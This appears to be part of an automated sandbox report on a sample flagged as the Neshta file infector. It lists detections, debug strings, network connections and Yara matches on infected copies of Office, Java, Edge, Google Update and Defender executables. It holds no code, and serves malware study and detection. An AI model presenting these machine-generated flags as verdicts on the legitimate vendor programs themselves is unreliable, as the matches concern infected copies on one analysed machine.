Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: LisectAVT_2403002B_4.exe

Joe Sandbox ML: detected

Source: LisectAVT_2403002B_4.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 172.67.196.114:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49707 version: TLS 1.2

Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdb source: pwahelper.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdb source: cookie_exporter.exe.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: armsvc.exe.0.dr
Source:	Binary string: winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msqry32.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: MSQRY32.EXE.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate64.pdb source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdbOGP source: identity_helper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb# source: aimgr.exe0.0.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoev.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: msoev.exe.0.dr
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdb source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\olicenseheartbeat.pdb source: OLicenseHeartbeat.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\documentchat_localserver\x-none\SkypeServer.pdb source: SKYPESERVER.EXE.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdb source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\Aut2Exe\Aut2Exe.pdb source: Aut2exe.exe.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: AdobeARMHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb00 source: unpack200.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
Source:	Binary string: r.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb source: OcPubMgr.exe.0.dr
Source:	Binary string: WINLOA~1.PDB source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: LC:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.0.dr
Source:	Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoadfsb.pdbdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: msoadfsb.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CLVIEW.EXE.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb source: aimgr.exe0.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdbOGP source: cookie_exporter.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\aimgr.pdb source: aimgr.exe.0.dr
Source:	Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: VC_redist.x64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\elevation_service.exe.pdb source: elevation_service.exe.0.dr
Source:	Binary string: MpCmdRun.pdbGCTL source: MpCmdRun.exe0.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdbOGP source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: AppVDllSurrogate64.pdbGCTL source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: @ntkrnlmp.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoev.pdb source: msoev.exe.0.dr
Source:	Binary string: @winload_prod.pdbh source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\osfsandbox\x-none\msoasb.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: msoasb.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\olicenseheartbeat.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OLicenseHeartbeat.exe.0.dr
Source:	Binary string: MpCmdRun.pdb source: MpCmdRun.exe0.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdbr source: AdobeARMHelper.exe.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdbl source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\elevation_service.exe.pdbOGP source: elevation_service.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\documentchat_localserver\x-none\SkypeServer.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SKYPESERVER.EXE.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\. source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: @winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MpDlpCmd.pdbGCTL source: MpDlpCmd.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb source: WINWORD.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: WINWORD.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\ssvagent\obj\ssvagent.pdb<<7 source: ssvagent.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\osfsandbox\x-none\msoasb.pdb source: msoasb.exe.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\ssvagent\obj\ssvagent.pdb source: ssvagent.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OcPubMgr.exe.0.dr
Source:	Binary string: lper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdbOGP source: pwahelper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb source: CLVIEW.EXE.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\.`r source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb\ source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdb source: identity_helper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: MpDlpCmd.pdb source: MpDlpCmd.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: unpack200.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msqry32.pdb source: MSQRY32.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoadfsb.pdb source: msoadfsb.exe.0.dr

Spreading

Yara detected Neshta

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.LisectAVT_2403002B_4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2500140385.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
